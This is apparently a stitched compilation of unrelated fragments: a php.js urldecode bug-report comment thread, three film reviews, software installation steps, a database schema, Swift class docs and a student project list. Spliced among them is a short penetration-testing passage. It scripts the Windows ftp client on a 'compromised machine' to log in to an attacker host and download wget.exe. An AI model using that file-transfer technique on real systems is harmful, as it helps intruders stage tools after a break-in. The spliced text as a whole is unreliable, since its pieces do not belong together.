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Brett Zamir
on 2012-07-05 11:39:05
@Rajiva: In addition to my last question, what browser were you using?
Brett Zamir
on 2012-07-05 11:37:22
@Rajiva: Can you put your long sequence somewhere so we can confirm? I am not able to replicate with decodeURIComponent() (which would be giving the URI error) even with a very large sequence:
var arr = decodeURIComponent(new Array(101000).join('%20'));
????? ?????? ? ?????
on 2012-04-23 14:49:42
I wonder how you got so good. HaHa ! This is really a fascinating blog, lots of stuff that I can get into. One thing I just want to say is that your design is so perfect ! You certainly know how to get a girls attention ! I’m glad that you’re here. I feel like I’ve learned something new by being here
Ye Lin Htun
on 2012-03-28 10:05:56
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Rajiva
on 2012-01-24 07:51:35
Yesterday I got same problem : malformed URI sequence. I had try all of solution that you're shown, but no one solved my problem.
Than, I try another way that I can do for fix the problem. I solved the problem with cutting half of tag value (string) of my XML file with substr($string, 0, 3000).
I think the browser & program can't handle and processing large string. Based on my experience, the program can work properly while the string contain maximal 3000 character. Is anyone have same experience with me?
Dj
on 2011-07-29 14:57:29
Instead of replace '+' with '%20', replace it with an space directly, then is not redundant and decodeURIComponent() will has less characters to proccess
Tim de Koning
on 2011-06-03 11:03:00
@Brett: done! :-)
Brett Zamir
on 2011-06-02 04:53:04
@Tim: Send me a file with your exact code to my Yahoo address : brettz9
Tim de Koning
on 2011-06-01 23:25:59
@Brett: Yes. I tested this this a Win XP and Windows 7 machine now in multiple browsers, all with the same result.
Brett Zamir
on 2011-06-01 19:26:11
@Tim: Just to verify: You are using the latest version above? (essentially just a light wrapper for decodeURIComponent). And in your script you have nothing else besides this function and the alert with the call to urldecode?
Tim de Koning
on 2011-06-01 12:59:37
@Brett: I don't get it. I get the same error in Chrome 11.0.696.71 (URIError: URI malformed) and IE 9.0.8 too. Maybe it has something to do with my locale-settings... (Dutch, so pretty straightforward)? Anyway... The old version works perfectly and uses the same decodeURIComponent() in the end!
Brett Zamir
on 2011-06-01 12:24:26
@Tim: Strange---I'm using FF 4.0.1 also and not getting an error. Character set shouldn't matter for JavaScript, but it does for PHP (i.e., %80 is not valid for UTF8 so wanted to compare apples to apples).
Tim de Koning
on 2011-06-01 10:17:31
@Brett: alert(urldecode('%E2%82%AC')) in Firefox 4.0.1 throws the same error:
URIError: malformed URI sequence
(I don't think this has anything to do with the character set, but i only pointed it out because '€' does not exist in latin1 / ISO-8859-1. So one should take that in consideration when running the mentioned test.)
Brett Zamir
on 2011-05-31 18:01:17
@Tim: All sites should be in UTF-8 nowadays (recommended by HTML5 also). Try this:
<?php
header('content-type:text/html;charset=utf8');
print urldecode('%E2%82%AC');
?>
and
alert(urldecode('%E2%82%AC'))
Tim de Koning
on 2011-05-31 17:23:57
urldecode('%80');
Result in PHP:
€ // in Windows-1252 character set
Result in JavaScript:
ERROR: malformed URI sequence
Suggested fix: revert to old version of urldecode, @
https://github.com/kvz/phpjs/blob/e81fa731a23fc07e14793796a23c5b2ebd2bb262/functions/url/urldecode.js
anton
on 2010-09-09 08:41:53
%27Musim+Depan%2C+Barca+Rekrut+Torres+%26amp%3B+Fabregas%27%3Cbr+%2F%3EAzulgrana+akan+mengeluarkan+dana+%A3100+juta.+
INPUT :
%23%3Ca+href%3D%22%23%21%2Ftopics%2Fsports%22+%3Esports%3C%2Fa%3E+%23%3Ca+href%3D%22%23%21%2Ftopics%2Fentertainment%22+%3Eentertainment%3C%2Fa%3E+%23%3Ca+href%3D%22%23%21%2Ftopics%2Fnews%22+%3Enews%3C%2Fa%3E+%23%3Ca+href%3D%22%23%21%2Ftopics%2Fliverpool%22+%3Eliverpool%3C%2Fa%3E+%23%3Ca+href%3D%22%23%21%2Ftopics%2Fbarca%22+%3Ebarca%3C%2Fa%3E+%3Cbr+%2F%3E%3Ca+href%3D%22http%3A%2F%2Fbola.vivanews.com%2Fnews%2Fread%2F174352--musim-depan--barca-rekrut-torres---fabregas-%22+target%3D%22_blank%22%3Ehttp%3A%2F%2Fbola.vivanews.com%2Fnews%2Fread%2F174352--musim-depan--barca-rekrut-torres---fabregas-%3C%2Fa%3E
Kevin van Zonneveld
on 2010-09-08 21:33:42
@ anton: Please provide the exact url you are passing to this function, as it looks like your input is broken.
anton
on 2010-09-08 21:09:55
hey....
I find a bug
Uncaught URIError: URI malformed
ret = decodeURIComponent(ret);
HELP ME..
Brett Zamir
on 2010-01-08 03:33:58
@David, Yes, thanks for reporting; it was just recently fixed (see the comments below), but the changes haven't yet made it to the site. FYI, the "raw js source" always has the very latest version (and in this case is the same as you suggested).
David
on 2010-01-07 22:54:22
The current version works pretty well, but need of one patch to "space bug":
// Current
return decodeURIComponent(str).replace(/\+/g, '%20');
// Correct
return decodeURIComponent(str.replace(/\+/g, '%20'));
Bye.
Brett Zamir
on 2010-01-01 07:56:33
Argh--Embarrassing mistake. Thanks for the fix. Done in Git...
Rob
on 2010-01-01 04:42:45
I think: return decodeURIComponent(str).replace(/\+/g, '%20');
should be: return decodeURIComponent(str.replace(/\+/g, '%20'));
Brett Zamir
on 2009-10-29 07:05:02
@ajo: Yes, 100% free as in free donuts (I don't drink alcohol)... :) You only need to add a copy of the license at http://phpjs.org/pages/license with any code you redistribute for others.
ajo
on 2009-10-29 03:04:53
i love it...i just love it...
but is it 100% free to use?
Kevin van Zonneveld
on 2009-09-04 19:03:29
@ Shamun Toha: If I'm not mistaken Brett is working on a different method so that we don't have to work work with hash_maps anymore.
Shamun Toha
on 2009-08-30 12:26:04
function urldecode( str ) {
// Decodes URL-encoded string
//
// version: 907.503
// discuss at: http://phpjs.org/functions/urldecode
// + original by: Philip Peterson
// + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// + input by: AJ
// + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// + improved by: Brett Zamir (http://brett-zamir.me)
// + input by: travc
// + input by: Brett Zamir (http://brett-zamir.me)
// + bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// + improved by: Lars Fischer
// + input by: Ratheous
// + improved by: @Shamun Toha
// + note by: - Shamun: decodeURIComponent failed on many characters
// % note 1: info on what encoding functions to use from: http://xkr.us/articles/javascript/encode-compare/
// * example 1: urldecode('Kevin+van+Zonneveld%21');
// * returns 1: 'Kevin van Zonneveld!'
// * example 2: urldecode('http%3A%2F%2Fkevin.vanzonneveld.net%2F');
// * returns 2: 'http://kevin.vanzonneveld.net/'
// * example 3: urldecode('http%3A%2F%2Fwww.google.nl%2Fsearch%3Fq%3Dphp.js%26ie%3Dutf-8%26oe%3Dutf-8%26aq%3Dt%26rls%3Dcom.ubuntu%3Aen-US%3Aunofficial%26client%3Dfirefox-a');
// * returns 3: 'http://www.google.nl/search?q=php.js&ie=utf-8&oe=utf-8&aq=t&rls=com.ubuntu:en-US:unofficial&client=firefox-a'
// * example 4: urldecode("%3Ctr%3E%3Ctd%3Einfo%40jquery.com%20space%20%E9%3C%2Ftd%3E%3C%2Ftr%3E");
// * returns 4<EMAIL_ADDRESS>Space e

var hash_map = {}, ret = str.toString(), unicodeStr='', hexEscStr='';
var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search);
return tmp_arr.join(replace);
};
// The hash_map is identical to the one in urlencode.
hash_map["'"] = '%27';
hash_map['('] = '%28';
hash_map[')'] = '%29';
hash_map['*'] = '%2A';
hash_map['~'] = '%7E';
hash_map['!'] = '%21';
hash_map['%20'] = '+';
hash_map['\u00DC'] = '%DC';
hash_map['\u00FC'] = '%FC';
hash_map['\u00C4'] = '%D4';
hash_map['\u00E4'] = '%E4';
hash_map['\u00D6'] = '%D6';
hash_map['\u00F6'] = '%F6';
hash_map['\u00DF'] = '%DF';
hash_map['\u20AC'] = '%80';
hash_map['\u0081'] = '%81';
hash_map['\u201A'] = '%82';
hash_map['\u0192'] = '%83';
hash_map['\u201E'] = '%84';
hash_map['\u2026'] = '%85';
hash_map['\u2020'] = '%86';
hash_map['\u2021'] = '%87';
hash_map['\u02C6'] = '%88';
hash_map['\u2030'] = '%89';
hash_map['\u0160'] = '%8A';
hash_map['\u2039'] = '%8B';
hash_map['\u0152'] = '%8C';
hash_map['\u008D'] = '%8D';
hash_map['\u017D'] = '%8E';
hash_map['\u008F'] = '%8F';
hash_map['\u0090'] = '%90';
hash_map['\u2018'] = '%91';
hash_map['\u2019'] = '%92';
hash_map['\u201C'] = '%93';
hash_map['\u201D'] = '%94';
hash_map['\u2022'] = '%95';
hash_map['\u2013'] = '%96';
hash_map['\u2014'] = '%97';
hash_map['\u02DC'] = '%98';
hash_map['\u2122'] = '%99';
hash_map['\u0161'] = '%9A';
hash_map['\u203A'] = '%9B';
hash_map['\u0153'] = '%9C';
hash_map['\u009D'] = '%9D';
hash_map['\u017E'] = '%9E';
hash_map['\u0178'] = '%9F';
// on decodeURIComponent failure.
hash_map['<'] = '%3C';
hash_map['>'] = '%3E';
hash_map['/'] = '%2F';
hash_map['@'] = '%40';
hash_map['e'] = '%E9';
hash_map[' '] = '%20';
for (unicodeStr in hash_map) {
hexEscStr = hash_map[unicodeStr]; // Switch order when decoding
ret = replacer(hexEscStr, unicodeStr, ret); // Custom replace. No regexing
}
// End with decodeURIComponent, which most resembles PHP's encoding functions
ret = decodeURIComponent(ret);
return ret;
}
Test suite:
// output this<EMAIL_ADDRESS>Space e

var a = "%3Ctr%3E%3Ctd%3Einfo%40jquery.com%20space%20%E9%3C%2Ftd%3E%3C%2Ftr%3E";
alert ( urldecode(a) );
Kevin van Zonneveld
on 2009-08-22 17:14:42
@ Brett Zamir: You are the man! :D Hands down!
Brett Zamir
on 2009-08-18 12:10:34
@CDuv: The escape sequence, "%E7a%20plante" gives an invalid character in PHP as well. Are you using UTF-8 like a good netizen? :) The urlencode() (in PHP or JavaScript) used on "ça plante" should be giving: "%C3%A7a+plante" which can then be decoded by either as well. This function needs to drop some of the code that was mistakenly added for the sake of ISO Latin--which is not used in PHP or JS, from my testing.
CDuv
on 2009-08-17 17:35:37
I had a "malformed URI sequence" JavaScript error in Firefox/3.5.2 (Gecko/20090729) error console when trying to url-decode : "%E7a%20plante" ("ça plante").
I read on OpenLayers bugtracker Ticket #1704 (http://trac.openlayers.org/ticket/1704) that JavaScript unescape() function could help.
So I gave it a chance and changedret = decodeURIComponent(ret);
(line 90 in phpjs.org::urldecode() v908.1617)
Toret = decodeURIComponent(unescape(ret));
As it solved by problem I would like to share it with you :)
Kevin van Zonneveld
on 2009-08-16 15:31:34
@ Brett Zamir: Agreed. until we do though, I'd like to add Orlando's improvements to the hash_map
@ Orlando: Thanks for sharing, fixed in SVN
Brett Zamir
on 2009-08-07 05:59:40
@Orlando, thanks for pointing this out. However, if someone has some time now, could we look into solving this problem (that keeps coming up) of seeing non-ASCII characters translated correctly for all languages? There must be some algorithm we can use rather than just pasting new translations piecemeal...
Orlando
on 2009-08-07 00:15:49
I was working with norwegian characters but wasn't able to get it working for uppercase characters(Ø,Å,Æ) until I added the following lines to hashmap:
hash_map['\u00C6'] = '%C3%86';
hash_map['\u00D8'] = '%C3%98';
hash_map['\u00C5'] = '%C3%85';
I got those values when encoding at php with urlencode().
Kevin van Zonneveld
on 2009-04-14 12:11:58
@ Lars Fischer: Thanks for helping us make it better!
Lars Fischer
on 2009-04-07 16:20:38
This is a wonderful Project! I'm glad, finding it today! Really good work!
For the german special-chars, this should be added to the urlencode and urldecode-function:
histogram['\u00DC'] = '%DC';
histogram['\u00FC'] = '%FC';
histogram['\u00C4'] = '%D4';
histogram['\u00E4'] = '%E4';
histogram['\u00D6'] = '%D6';
histogram['\u00F6'] = '%F6';
histogram['\u00DF'] = '%DF';
Kevin van Zonneveld
on 2009-01-14 11:06:32
@ Brett Zamir: Tired? maybe. Of you? Never :) Keep 'em coming! :D
Brett Zamir
on 2009-01-13 19:00:30
Hi there...Getting tired of me yet?
The following should be added to this function and for urlencode():
histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
And once you fix the above, you can also get rawurlencode and rawurldecode by simply removing the following line from each of the corresponding files:
histogram['%20'] = '+';
(That's the only difference with the raw form)
Kevin van Zonneveld
on 2009-01-08 16:58:49
@ Guilherme: Sorry your comment got stuck in the spamfilter. Akismet is a bit strict sometimes (can't really blame it, there are a lot of unrecognized words in your comment). Anyway:
You are not supposed to use php tags. This should prove to be more successful:
var $__t = '\'a\' +b+ \"c\" %d% \\\\ \\\\';
alert(urlencode($__t));
Guilherme
on 2008-12-31 03:59:29
Hi, I guess your function doesn't work for some situations. Try this code (I'll appreciate if you send me the fixes):
<?php
$__t = '\'a\' +b+ \"c\" %d% \\\\ \\\\';
?>
alert("<?= $__t ?>");
alert("<?= urlencode($__t) ?>");
alert("<?= urldecode(urlencode($__t)) ?>");
alert(urldecode("<?= urlencode($__t) ?>")); // It fails with your function!
Kevin van Zonneveld
on 2008-08-27 19:31:51
@ johnrembo: Hi John, thanks for your input again. We had some discussion about it earlier. It doesn't mimic PHP behavior enough. Differences between JavaScript's encoding functionalities can be found here: http://xkr.us/articles/javascript/encode-compare/
johnrembo
on 2008-08-27 17:08:31
function urdencode (str) {
return decodeURIComponent(str);
}
thor s.
on 2008-07-20 23:18:25
thank you a million times!!!!
larry fisher
on 2008-07-11 15:29:45
just want to thank you. very useful...
Kevin van Zonneveld
on 2008-06-16 00:14:15
@ doqkhanh: Why do we really need this handling? Because I don't believe PHP would return such an error string, and we would like to mimic it's behavior as strict as possible, to avoid strange bugs & unexpected results; and so that the PHP documentation doesn't need to be changed.
doqkhanh
on 2008-06-13 03:26:22
I have a safer function:
/**
* \summary: http://kevin.vanzonneveld.net
* \author: Original by: Philip Peterson
* improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
* \example: urlencode('Kevin van Zonneveld!');
* \returns: 'Kevin+van+Zonneveld%21'
*/
function urlencode( str ) {
var errorMessage = "Javascript error at urlencode() function in yourfile.js. Please contact YourCompany's site administrator.";
var ret = str;
try
{
ret = ret.toString();
ret = encodeURIComponent(ret);
ret = ret.replace(/%20/g, '+');
}
catch(err)
{
alert(errorMessage);
}
return ret;
}


REVIEW: HYPE! (1996) A film review by Steve Rhodes Copyright 1996 Steve Rhodes
RATING (0 TO ****): ***
In the spirit of full disclosure, let me admit upfront that I am from the Beach Boys generation. Not only do I never listen to heavy metal, punk, or grunge music, I haven't listened to anything but classical for years. Given these facts I am one of the least likely people on this planet to be recommending a documentary about the grunge movement in Seattle. Nevertheless, this review will do precisely that.
First time director Doug Pray creates an accessible documentary film, HYPE!, about the birth of grunge in Seattle. It is an absolutely riveting film with broad appeal although given the subject, it may only be seen by a niche audience. If so, a lot of viewers are going to miss out on something well worth seeing.
"Seattle is currently to Rock n' Roll what Bethlehem was to Christianity" claims a magazine article shown as the film opens. To set the stage the picture starts by introducing people to the Northwestern United States. Retro graphic designer Art Chantry tells us, "The Northwest is where the term flying saucer was coined. The Northwest is the serial killer capital of the world. ... This is all part of what goes into the music. ... Everyone wants to come here and live that good yuppie lifestyle."
As the talking heads are speaking, deft editors Doug Pray and Joan Zapata intersperse video clips of the Northwest's majestic beauty and absolute squalor.
Once the background is laid, the groups are shown in performance, but this is most assuredly not a rock video. The clips are short and used to illustrate the points. Two things are immediately clear.
First, these groups have a blast playing their music together. Their shtick of hoping around like kangaroos and jumping into their instruments and into their audience as much from exuberance as showmanship.
As you watch them, their joy becomes quite infectious. This is a high energy, very upbeat show. If it has a single message, it might be that this music is pure unadulterated fun. Certainly the film is quite humorous and never pedantic.
Second, the groups are not all the stereotypes you may believe.  The groups have people of both sexes and multiple races. Moreover, some of the members look more like nerds than rock stars. As Van Conner of Screaming Trees puts it, "We were the guys in high school who couldn't even talk to the pretty girls. We're nerds."
The show attempts to be a bit educational. One band member demonstrates how punk was transformed into grunge. This excerpt appears on the trailer so I've seen the clip fours times now, and I still can ascertain no difference which, I suppose, is the point. One of the rock producers gives advice to a new band to choose just five chords to play and never play more than three different ones in any one song. Grunge is minimalist music. It is the energy of its players that breathes life into it.
For a documentary, the camera work by Robert Bennett is surprising good. It says in the press kit that the film is done without "any narration or voice-over commentary." This is done so that there would be "no outside pundit." All of this gives the film a clarity that lets us eavesdrop without being noticed.
After the original Seattle bands, especially Pearl Jam, Nirvana, and Soundgarden, get worldwide recognition, other bands flock to Seattle until they number in the thousands. The working title of the film was THE FABULOUS SOUNDS OF THE PACIFIC NORTHWEST, but was changed to HYPE! when Pray realized what the media had turned the area's music scene into.
The band members got so disgusted with clueless reporters who show up wanting to get the scoop on the Seattle music scene that they start making up stories. The best appears as fact in a New York Times article that purports to give an up-to-date lexicon of grunge. Twenty-five year old Megan Jasper, a sales rep at Caroline Records in Seattle, just made up words along with their bogus definitions, and the Times took them as gospel and printed them so that the rest of their readers could speak fluent grunge.
Soon the commercial world discovers grunge too. Although the movement's costumes are low rent, the fashion designers see them as an opportunity to turn them into something to make big profits. We have scenes of grunge outfits displayed on the marbled floors of exclusive shopping emporiums.
Similarly, the rock music publishing world wanted to write about nothing but grunge. My favorite article they show is the one headlined: "Honey, I blew up the amp."
For a documentary that interviews three dozen people, it still manages to make all of them compelling. Somehow you feel you get to know all of them in a short amount of time. Many fictional films can't accomplish this with just a few stars. I ended up liking and caring about most of them. A fascinating group. Although I'd still never buy any of their records, I loved watching their antics as they performed, and I loved listening to them talk.
Record producer Martin Rushent sums it up best. He claims the purpose of grunge is to, "get rock back to its basics. Make a noise and play music your parents won't like."
HYPE! runs just 1:24. It was not rated at the time of the press screening, but I see no reason why it shouldn't get a PG rating. There is no sex, nudity, or violence. There may have been some bad language, but I didn't remember any. The film would be fine for anybody, but I am sure it would hold no interest for younger kids. The best documentaries, and this is one, take you into worlds you have never been or ever wanted to go and let you live there vicariously. I enjoyed my voyage into the world of grunge, and I think you would too so I am recommending the film and giving it ***.
**** = One of the top few films of this or any year. A must see film. *** = Excellent show. Look for it. ** = Average movie. Kind of enjoyable. * = Poor show.  Totally unbearable.
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Installation¶
Follow the following instructions for installation:
Install Anaconda python (Python 3.8 and higher) for your operating system from Anaconda website.
(Optional) If you would like create an anaconda environment ‘cmcars’ to install XModFit run the following in the terminal (MacOS/linux) or Anaconda terminal (Windows):
conda create -n cmcars python=3.9
(Optional) If you have created or using an anaconda environment the switch to the existing environment (cmcars) by running the following command:
conda activate cmcars
In the terminal run the following to install all the dependency packages:
conda install git pip install --upgrade PyQt5 sqlalchemy scipy six matplotlib pandas lmfit pylint periodictable corner emcee tabulate python-docx numba numba-scipy statsmodels sympy pip install pyqtgraph==0.12.1
In order to install in a particluar folder (for example: /home/mrinal/Download) run the following in the terminal:
git clone https://github.com/chemmatcars/XModFit
The method will create XModFit folder with all updated packages in installation folder (i.e. /home/mrinal/Download). The advantage of this method is that it is easy to upgrade the package later on. In order to upgrade, go to the folder named XModFit and run the following command:
git pull
Change to the anaconda environment you used for installing XModFit first (if you are not already in that environment) by running:
conda activate cmcars
Go into the folder XModFit and run the command to run XModFit:
python xmodfit.py


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Conceptual Model
user
- userId (PK)
- userActivationToken
- userEmail
- userHash
- userName
- userUsername
Category
- categoryId (PK)
- categoryType
Resource
- resourceId (PK)
- resourceCategoryId (FK)
- resourceUserId (FK)
- resourceAddress
- resourceApprovalStatus
- resourceDescription
- resourceEmail
- resourceImageUrl
- resourceOrganization
- resourcePhone
- resourceTitle
- resourceUrl
useful
- usefulResourceId (FK)
- usefulUserId (FK)
Relations
One user can have many usefuls (1 to m)
One user can have many resources (1 to m)
One resource can have many usefuls (1 to m)
One catagory can have many resources (1 to m)


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Classes
The following classes are available globally.
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public class CachedTileOverlay : MKTileOverlay
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class HashBase
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The real brain
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public class MapCache : MapCacheProtocol
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@objc public class RegionDownloader : NSObject
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Class to convert from Map Tiles to coordinates and from coordinates to tiles
Coordinates (latitude and longitude) are ALWAYS expressed in degrees. The max latitude that can be converted to tiles is +85.0511 and the minimum is -85.0511 (see https://wiki.openstreetmap.org/wiki/Slippy_map_tilenames).
Zoom level (z) range is from 0 to 19.
The earth is represented by a square that is divided in small pieces (tiles). The number of tiles depends on the zoom value and is equal to: 2^z x 2^z
The values of tiles can be from 0 to 2^z - 1. For instance, for z=10 the max tile would be 1023 (2^10 - 1 = 1024 - 1)
This diagram represents the equivalent lat/long vs tileX/tileY
(-180,85.0511) (180,85.0511) <----- coords (lat, long) 0,0 2^z -1, 0 <---------- Tile number (x,y) +-------------------------+ | | | + (0.0,0.0) | | | +-------------------------+ 0,2^z - 1 2^z - 1, 2^z - 1 (-180,-85.0511) (180,-85.0511)
All the wisdom of this class comes from: https://wiki.openstreetmap.org/wiki/Slippy_map_tilenames
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public class TileCoords
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3 dimensional square region in a tile map. The three dimensions are:
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- longitude (x)
- zoom (z)
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In this scenario, if we allow user to pick two points to select a region, we may end up with two sub-regions.
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public class TileCoordsRegion


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Fever Pitch (1999) Reviewed by Eugene Novikov http://www.ultimate-movie.com Member: Online Film Critics Society
"They were f***ing rubbish last year.  And I don't care if they are top of the League, they'll be f***ing rubbish this year, too. And next year. And the year after that. I'm not joking."
Starring Colin Firth, Ruth Gemmell. Not Rated (some strong profanity, not much else... would probably still get an R rating).
Having lived in Europe for nine years, I experienced first hand the sensation that is soccer. One of the world's great mysteries, in my opinion, is how America managed to almost completely avoid this phenomenon. Sure, there's a league, and yeah, there are fans, but does anyone ever hear anything about the teams? Are they ever on the news? In the paper? Do the games set attendance records? Never. Indeed, the USA blasphemously renamed it "soccer", alloting its real moniker, "football", to a sport where feet are hardly ever even used.
For the doubters of this sport's unearthly popularity comes a little British movie named Fever Pitch. It isn't a soccer movie as much as it about obsession with soccer. It has some sports elements, but at its core its a love story and a life story. It doesn't always work, but it's always pleasant. It is not a comedy, though apparently it's being marketed as one, but rather a serious, often somber drama about a man's life being ruined by his pious devotion to a sports team.
Based on the autobiography of one Nick Hornby, who also adapted it for the screen, Fever Pitch explores the life of Paul, a mildmannered schoolteacher who turns into a rabid, profane fan at soccer games. Since he was a child, Paul has closely followed the soccer team "Arsenal". They have not captured the league title for 18 years, and for all that time, he has been patiently waiting for them to get somewhere. Now, all signs point to yes -- it seems the time has come for Arsenal to go all the way. Paul has never been this excited, but the timing couldn't be worse.
You see, he has entered a relationship with a co-worker (Ruth Gemmell). Needless to say, she is not a soccer fan, nor is she happy with Paul's Arsenal obsession. She assumes, not incorrectly, that his team means more to him than both she and his upcoming baby, and she sees the sport as something she has to compete with to earn his boyfriend's attention. Paul recognizes the problem, but something subconcious keeps him from letting go of his soccer life, even a little bit.
Besides his life as an adult, the film also tracks some of Paul's childhood; specifically how his father inspired his love for soccer. Though a few of these scenes have a clunky feel to them, they tend to be the movie's least contrived. The ones that work have a more natural flow to them than some of what we are presented with in Paul's adulthood.
Much of Fever Pitch is affecting and sincerely felt.  Colin Firth's Paul is a very effective character; his everyday Joe affability mixes ominously with his uncomfortably deep obsession with what is merely a hobby for most. Firth's generally reserved, occasionally explosive performance contributes to his persona's impressive on-screen presence.
The biggest problem with Fever Pitch is the pseudo-romance at the heart of the plot. We are never shown any positives in their relationship. The two spend the whole movie giving each other wounded looks -- when they aren't bitching, that is. We are supposed to want the relationship to be mended; we're expected to root for Paul to devote more of his life to it, but we can't. From what we are shown, there isn't any reason for these two to stay together. The only feeling they ever display towards each other is contempt.
The happy ending reduces the otherwise unusual film to being merely an ordinary sports movie, muddling its message. It felt like it belonged in another, more upbeat movie, and here it was simply out of place. It leaves the audience at a loss, unsure what to make of Fever Pitch. On one hand it's a dark tale of obsession, on the other it's a simple-minded fable about blind devotion. The movie's denoument leaves us wondering just which one of them it is.
This is a British Indie film, and it was more superficially entertaining than I have come to expect from its type. Unfortunately unlike works of Brits like Mike Leigh, it is also confused about what exactly it wants to tell us. It engrosses the viewer and then proceeds to confuse him.
Grade: C+
©1999 Eugene Novikov
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Most windows machines have a ftp-client included. But we can't use it interactively since that most likely would kill our shell. So we have get around that. We can however run commands from a file. So what we want to do is to echo out the commands into a textfile. And then use that as our input to the ftp-client.
On the compromised machine we echo out the following commands into a file
echo open <IP_ADDRESS> 21> ftp.txt
echo USER username>> ftp.txt
echo mysecretpassword>> ftp.txt
echo bin>> ftp.txt
echo GET wget.exe>> ftp.txt
echo bye>> ftp.txt
Then run this command to connect to the ftp
ftp -v -n -s:ftp.txt
Of course you need to have a ftp-server configured with the user username and the password to mysecretpassword.
(hint hint: python -m pyftpdlib -p21 -w)


Non-core helper classes. This package collects various general-purpose classes that do not depend on the rest of the RGIK, but may be used by it.


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Conversations are visualized as a tree. Each box is an individual tweet, and an line between two boxes indicates that the lower one is a reply to the upper one. The color of the line indicates the time duration between the two tweets (red is faster, blue is slower.)
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Apply
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destructuring the list.
apply(append, [1,2,3], [[\a, \b], [5, 6]])
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function add_heads(xs)
apply(`+`, map(head, xs))
add_heads([1:2, 3:4, 5:6])
// 9


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- Language: java
- Link: https://github.com/Elitack/simPL
- Function: Design a interpreter that can transfer the simpl language equation to the correct result.
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- Time: June 2016
- Language: c++
- Link:http://eelab.sjtu.edu.cn/kc/2016-06/B06/
- Function:
- Get the route through camera based on image recognition.
- Track the dolly’s position.
- Send the correct order to dolly through bluetooth to make sure the dolly’s following the trajectory.
Engineering Practice and Technological Innovation(3C)
- Time: Dec 2016
- Language: java
- Link:http://eelab.sjtu.edu.cn/kc/2016-12/C19/ (Chinese Version)
- Function: Develop an android app that achieves the following function
- Video Transmission Through Wifi.
- Control the dolly’s movement through button, gesture, gravity, and the voice recognition.
Operating System
- Time: June 2016
- Language: c
- Function:
- Write a new system call(ptree) in Linux.
- Generate a new process and output its parent pid and child pid.
- Use the pthread and lock to solve the classic burger buddies problem.
- Change the scheduler of the process.
- Modify the scheduler in kernel.
Computer Organization Experiment
- Time: July 2016
- Language: verilog
- Function: Design a multi-cycled pipelined mips command processor.


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ERIN BROCKOVICH RATING: 7 /10 --> Good movie
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The similarities between this film and the John Travolta lawyer drama A CIVIL ACTION (6.5/10) are uncanny. Both films are based on actual events, feature strong leads pursuing legal cases against major multinationals that have allegedly contaminated the water supply of local towns. The main difference between the two films would have to do with the former featuring a cutthroat, rich, successful lawyer going against the system (also a man), while this one features a twice-divorced, uneducated, sexpot with three kids doing the same thing (oh yeah, and she's a woman!).
PLOT: A sexy divorcee with no formal education and a lot of debt forces herself into a filing job at her lawyer's office, only to run into a lot of internal politics and lack of respect from her co-workers. It isn't until one day while filing away a case that she is intrigued by the details, and takes on the task of researching the case further on her own. After much hard work, determination, and personal sacrifice, she and the firm begin to put together one of the biggest direct-action lawsuits in U.S. history.
CRITIQUE: Despite its slow moments, extended runtime and similarities in plot to A CIVIL ACTION, this film managed to make me like it based entirely on its excellent performances by its shining star Julia Roberts and her rough-gruff counterpart Albert Finney. I know it's still early in the year, but Albert should definitely be remembered come Oscar time next year in the category of supporting players. I don't remember the last time I truly enjoyed seeing this type of love-hate relationship work so well in a film, especially without it involving sex between the couple in question. The characters drawn here are quite opposite, save for the mutual respect that both obviously feel for one another, but to watch them go head-to-head on various issues is just great cinema. The story itself isn't extremely original or particularly engaging to behold (in spite of it being based on real events), the pacing sometimes slow, and the predictability factor pretty high on all counts. But what generally makes or breaks films of this type are their focus on character, character, character, and this film succeeds in radiating light through its stars.
Even Aaron Eckhart, the only other significant player in the film, comes through as the boyfriend standing by his strong female companion as she takes on, what seems like, the world. And even though this film was a little foreseeable, I did find it refreshing to finally soak in a movie that focused more on the achievements of a woman, rather than that of men. So if only for that reason, check it out and "watch them women, hear them roar!". Of course, some of the roaring is also being handled by the flock of mini-skirts and push-em-up bras that Julia's character dons during this picture, but it is not as much of a focus as the film's trailer makes it out to be (Them marketing folks is smart!). So does the movie present the viewer with a lot of conflict, obstacles or tension? Not really. I was barely ever anxious to see what would happen next and rarely felt as though things wouldn't work out for everyone involved, but then again, this film doesn't pretend to be a thriller. It's an interesting, small tale of a woman who never knew what she could be in life, until she actually went out and became it. It's pretty inspiring, it's got one of the most feel-good last scenes in a movie this year, and once again, features a couple of charming performances by two great actors at the top of their game.
If you love Julia Roberts, you will most likely enjoy this run-of-the-mill story, despite it running a little too long, and you will definitely come to further appreciate the broad talent of Mr. Albert Finney, who pulls off one of his finest performances in years. All in all, a decent "lawyer movie", which consciously avoids any long, boring courtroom scenes. Thank you for that, Mr. Soderbergh.
Little Known Facts about this film and its stars: Pay close attention to one of the earlier scenes with Julia and her kids in a restaurant, since the waitress serving them is none other than the REAL Erin Brockovich-Ellis herself! As an inside joke, she is apparently wearing a nametag that reads "Julia". Julia Roberts reportedly earned $20,000,000 for her role in this film. Collectively, her films have grossed more than $2 billion worldwide. Albert Finney was born in Manchester, England and is apparently the only person in history to ever call Audrey Hepburn a "bitch"...in the film TWO FOR THE ROAD (okay, okay...so it was a line in the movie). Writer Susannah Grant's previous work as a screenwriter was on the Cinderella tale, EVER AFTER (7/10), starring Drew Barrymore. Her next writing gig also stars a woman, Sandra Bullock in the drama 28 DAYS. And for once, the events depicted in this film are apparently very accurate in terms of what really happened to Erin in her own life. Only some of the peripheral characters are fictitious or amalgamations of real people from her life. In fact, photographs shown to the crew by the real Erin prove that she really did sport 8-inch mini-skirts, 3-inch heels and plunging necklines during these trying times. A look that she still abides by to this day and apparently looks terrific! This film was spawned from an appointment that executive producer Carla Santos Shamberg had with her chiropractor.  And yes, that other patient was none other than Erin Brockovich. Carla told her husband Michael about the story, Michael told Danny DeVito and Stacey Sher, with whom he runs Jersey Films, and the rest is movie-making history.
Review Date: February 28, 2000 Director: Steven Soderbergh Writer: Susannah Grant Producers: Danny DeVito, Michael Shamberg and Stacey Sher Actors: Julia Roberts as Erin Brockovich Albert Finney as Ed Masry Aaron Eckhart as George Genre: Drama Year of Release: 2000 ------------------------------------- JoBlo's Movie Emporium http://www.joblo.com/ ------------------------------------- (c) 2000 Berge Garabedian
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We have basically three tasks to achieve:
